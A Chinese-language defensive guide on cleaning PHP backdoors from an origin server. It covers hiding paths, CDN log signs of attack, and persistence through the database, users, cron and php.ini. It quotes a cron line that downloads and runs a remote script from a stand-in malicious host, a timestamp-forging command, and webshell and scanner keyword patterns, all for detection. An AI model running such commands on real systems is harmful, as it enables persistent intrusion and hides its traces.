PHP后门必须在源站清理,CDN仅能辅助检测;常见藏匿路径包括/tmp、/wp-content/uploads/、主题插件文件及/vendor/伪装目录;需结合日志分析、数据库、用户、计划任务、PHP配置等多维度排查。

PHP后门无法通过CDN“删除”——CDN只缓存和转发响应,真实后门文件仍躺在源站服务器上。所有清理动作必须在源站完成,CDN层只能辅助检测和临时阻断。
后门文件通常藏在哪几个路径
攻击者偏好隐蔽、可写、易混淆的目录,常见位置包括:
-
/tmp、/var/tmp:系统临时目录,PHP进程常有写权限 -
/wp-content/uploads/(WordPress 站点):上传目录默认可执行,常被植入shell.php、1.php、xx.jpg.php类文件 -
/themes/xxx/functions.php或/plugins/xxx/index.php:篡改合法插件/主题文件,嵌入 base64_decode 或eval($_POST[...]) -
/vendor/下伪装成依赖包的文件(如/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php),利用旧版 PHPUnit 漏洞遗留
CDN日志里怎么发现可疑请求
CDN不记录源站磁盘文件,但能暴露攻击者行为痕迹。重点筛这些特征:
- 高频访问非常规后缀:如
.php请求带?a=eval&b=base64...,或 POST body 含system(、passthru(、assert( - User-Agent 异常:空 UA、含
sqlmap、nmap、dirbuster字样,或固定指纹如python-requests/2.28 - 来源 IP 短时密集调用同一 URL 路径(尤其非公开接口),例如 1 分钟内对
/wp-admin/admin-ajax.php发起 50+ 次 POST - Referer 为空但请求含 PHPSESSID 或绕过登录态的 cookie,可能为自动化工具直连
注意:CDN 日志中看到的 404 并不安全——攻击者常先探测再上传,404 只代表当时没命中,不代表没成功过。
立即学习“PHP免费学习笔记(深入)”;
源站排查时为什么不能只删文件
删掉一个 shell.php 不等于清除后门。真正风险在于:
- Webshell 可能已写入数据库(如 WordPress 的
wp_options表中theme_mods_*字段,存储 base64 编码的恶意代码) - 已创建持久化用户:MySQL 中新增高权限账号,或 Linux 系统添加了隐藏用户(
cat /etc/passwd | grep '/bin/bash') - 计划任务(crontab)定时拉取远控脚本,例如每 5 分钟执行:
wget -q -O /tmp/.a http://mal.site/x.sh && sh /tmp/.a - PHP 配置被篡改:
php.ini中启用了auto_prepend_file指向恶意文件,或disable_functions被清空
CDN 层即使开启 WAF 规则拦截 eval(、assert( 关键词,也拦不住已解密落地的 Webshell 或内存马——这些必须靠源站进程分析(ps aux | grep php)、网络连接(netstat -tulpn | grep :80)和文件完整性校验来识别。
CDN 是镜子,不是保险箱。最常被忽略的是:攻击者上传后门后,往往立即修改文件时间戳(touch -r /bin/ls shell.php),让 find /var/www -name "*.php" -mtime -7 这类命令失效;查的时候得结合 inode 变更(find /var/www -inum XXX)和 inotify 实时监控才可靠。











